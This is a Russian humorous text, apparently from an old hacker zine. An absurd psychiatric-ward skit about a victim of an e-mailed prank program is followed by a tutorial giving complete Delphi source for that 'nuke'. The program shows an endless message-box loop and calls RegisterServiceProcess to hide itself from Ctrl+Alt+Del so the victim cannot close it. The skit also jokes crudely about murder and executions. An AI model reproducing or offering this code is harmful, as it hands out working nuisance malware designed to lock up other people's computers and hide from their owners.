(Психиатрическая больница имени психического здоровья...)
LohMachin3k - Год 1002. 48 мартабря. Дня в этот день не было... Пятый день лил снег, а иногда падал дождь... Сосед по палате справа, весь день кричал нецензурные слова и требовал занести их в словарь нецензурной лексики. Сосед слева, называл себя Мудилой всея Руси. В общем здесь просто дурдом. Не понимаю почему меня сюда посадили. Ведь я совершенно нормален... Вот по стене ползет таракан, но это не таракан, а переодетый американский шпион. Если я его убью, то мне могут дать медаль, а может быть и орден. (Убивает таракана) Ну вот, теперь я герой. А они меня в дурдом, проклятые капиталисты... (Грязно ругается... все еще ругается... перестал... нет, начал снова, но уже по немецки...). А все эти хакеры, так их и эдак (снова грязно ругается...). Это все из-за их вредительских программ... Но, я доберусь до них, всех их по убиваю... Выйду отсюда и всех их @##$^^^&...
Медсестра - Больной перестаньте орать, вы не на привозе! Вам же Билл Гейтс из 3-ей палаты сказал, что хакеров не бывает. Верно Билли? (обращается к БГ из 3-ей палаты)
БГ из 3-ей палаты - Верно, не бывает. Хотя раньше были и много. Но сейчас нет. А все я. Это из-за меня они все вымерли, это я сделал ту самую ОСь, которую нельзя уронить.
ВИЛЕН из 9-ой палаты - А вы , собственно, кто будете, товарищ?
Медсестра - А это , дедушка, наш местный Билли Гейтс, небось слышали о нем. Или правду говорят про вождей пролетариата, что они ...ые?
ВИЛЕН из 9-ой палаты - Не тот ли это Билл Гейтс, который является вождем этого, как его?
БГ из 3-ей палаты - Да это я. А корпорация моя называется "Мелко - мягкое", что бы люди доверяли...
ВИЛЕН из 9-ой палаты - Эх, мы бы вас в семнадцатом году... Хотя мы бы вас и шаз, с удовольствием...
БГ из 3-ей палаты - Вот этого не надо. Я, между прочем всемирный герой. Мне орден дали за ту ОСь.
LohMachin3k - кстати зря дали. Вам чего другого бы дали. Хакеры то живы и то, что я здесь, тому подтверждение.
ВИЛЕН из 9-ой палаты - А как, собственно, вы тут оказались, товарищ? Ну мы с товарищем Биллом, то люди известные. Здесь все известные лежат. Ну вот, например товарищ из 11-ой палаты. Так это Наполеон Бонапарт, собственной персоной. А каким вы, тут боком не понятно?
Бонапарт из 11-ой палаты - Le ne pOiti li vam ala v zad?
ВИЛЕН из 9-ой палаты - mein niht shprehen Fransen - p..dorasen.
LohMachin3k - Оказался я здесь из-за одного злобного чувака. Он послал мне на мыло письмо, с прогой внутрях. Ну я, её загрузил. А там сообщение типа "Вы хотите, что бы ваш комп умер?" и две кнопки "Да" и "Нет". Жму я на "Нет" и ни чего, я еще раз, тоже ни чего. Вот я три дня подряд на "нет" жал, да жал и ни чего плохого ни кому не делал. Правда хотел с жизнью покончить из-за этой проги. Правда не со своей, а с соседовой. Хотел его повесить. Взял шнур от мыши, одел на голову шлемофон, белый халат, санитарные перчатки и пошел. В дверь позвонил, а через пять минут пятеро амбалов меня сюда притащили. И вот, уже третий месяц меня тут держат. И за что не понимаю...
Медсестра - Не понимаешь, говоришь? А за чем ты хотел соседа убить, понимаешь?
LohMachin3k - Понимаю. Хотел, потому что хотел. В обшем человек он плохой. Вот я и хотел его убить.
Медсестра - Вот и сиди теперь здесь, ламер... Ламерюга... Ламерище...
LohMachin3k - Что? Этого не могла сказать медсестра. А может быть это...
(Медсестра трансформируется в жука убийцу. Нет, не в жука убийцу, все таки в злобного хакера, да точно, в него самого. Его вид ужасен: волосы на голове по пояс, двух недельная щетина на лице и шести сантиметровые ногти на руках).
Хакер - Да это я, я заноза в твоем ухе, я прыщ, вскочивший у тебя на носу перед свиданием, я черный воин на бескрайних просторах сети..., я...,я... ужасный хакер!
LohMachin3k - Я так и думал! Так и знал! Вот вам Билли @##$^^^& !
БГ из 3-ей палаты - А что я, я ни чего. И вообще уйду я от вас, злые вы. Уеду в Канаду и дело с концом.
ВИЛЕН из 9-ой палаты - Да вы, товарищ лучше к нам, в СССР. У нас таких любят... стрелять таких любят... А-ха-ха-ха!!!!!
(В коридор вбигают медсестра, врач и пятеро амбалов)
Врач - Кто дал больным тройную дозу галопиредола?
Медсестра - Я ж, не чайно Сан Саныч!
Врач - Да я бы вас за такое не чайно...
ВИЛЕН из 9-ой палаты - Мы за такое к стенке ставили... Какие были времена....(мечтательно закатывает глаза...)
(Пятеро амбалов разбредаются по палатам и проводить физиотерапию... Через пять минут все уходят... Больные спят... Действие галопромидола заканчивается... Ужасный хакер постепенно исчезает, периодически превращаясь в различных сказочных животных, насекомых и прочих тварей... Вскоре исчезает совсем. Жизнь в Дурдоме города С. продолжает идти своим чередом...).
Кхе - Кхе. Здрасти. Как ты уже понял сегодня мы будем кодить нюк.
Загрузи делфу. Загрузил - молодец. Теперь значения в свойствах Widht и height формы 1 правь на 30 и 129 соответственно. Во вкладке BorderIcons всем свойствам присвавай False.(Все это, ты должен править в Object inspector'е >> Proprties) Теперь дважды жми на событие создания формы(в Object inspector'е >> Events >> OnCreate). Появилось окно UNIT1.PAS. Твой курсор должен стоять после Begin'а. Так как я сказал ДОЛЖЕН стоять, то если его там нет, то поставь его туда. Пиши :
while true do// Обьявляем бесконечный цикл.
MessageDlgPos('!!!Lamers Must Die!?!?', mtCustom, [mbYes, mbNo ], 0,300,200);{ Выводим сообщение "!!!Lamers Must Die!?!?" с двумя кнопками.}
Можешь жать F9. Появилось сообщение. Нажми на любую кнопку и ни чего не произойдет. Фишка в том, что это сообщение должно появится бесконечное число раз. Но есть одно но. Если ты нажмешь alt + ctrl + del или alt + F4, то сможешь снять задачу или закрыть прогу соответсвенно. А это плохо. По этому лезь в меню Project >> View source. И там после {$R *.RES} пиши следующие:
var
i: hwnd;{Обьявляем переменную. Причем ты можешь ее не использовать, главное, что бы она была, потому что это главное ;-)))}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';{Эта функция позволит нам спрятаться от трех веселых и прочих горячих клавиш.}
begin{начало}
RegisterServiceProcess(GetCurrentProcessID, 1);{Прячимся от всех горячих..:-)))}
Application.Initialize;{инициализируем программу}
Application.Title := 'LMD(NUKE.BAT)';{Задаем заголовок}
Application.CreateForm(TForm1, Form1);{Создаем форму}
Application.Run;{Запускаем прогу}
end.{К-анец :-[0]}
Да еще вот, что после usesнапишиwindows;
Теперь все, нюк готов. Жми F9 и вперед, к победе мировой революции ;-0.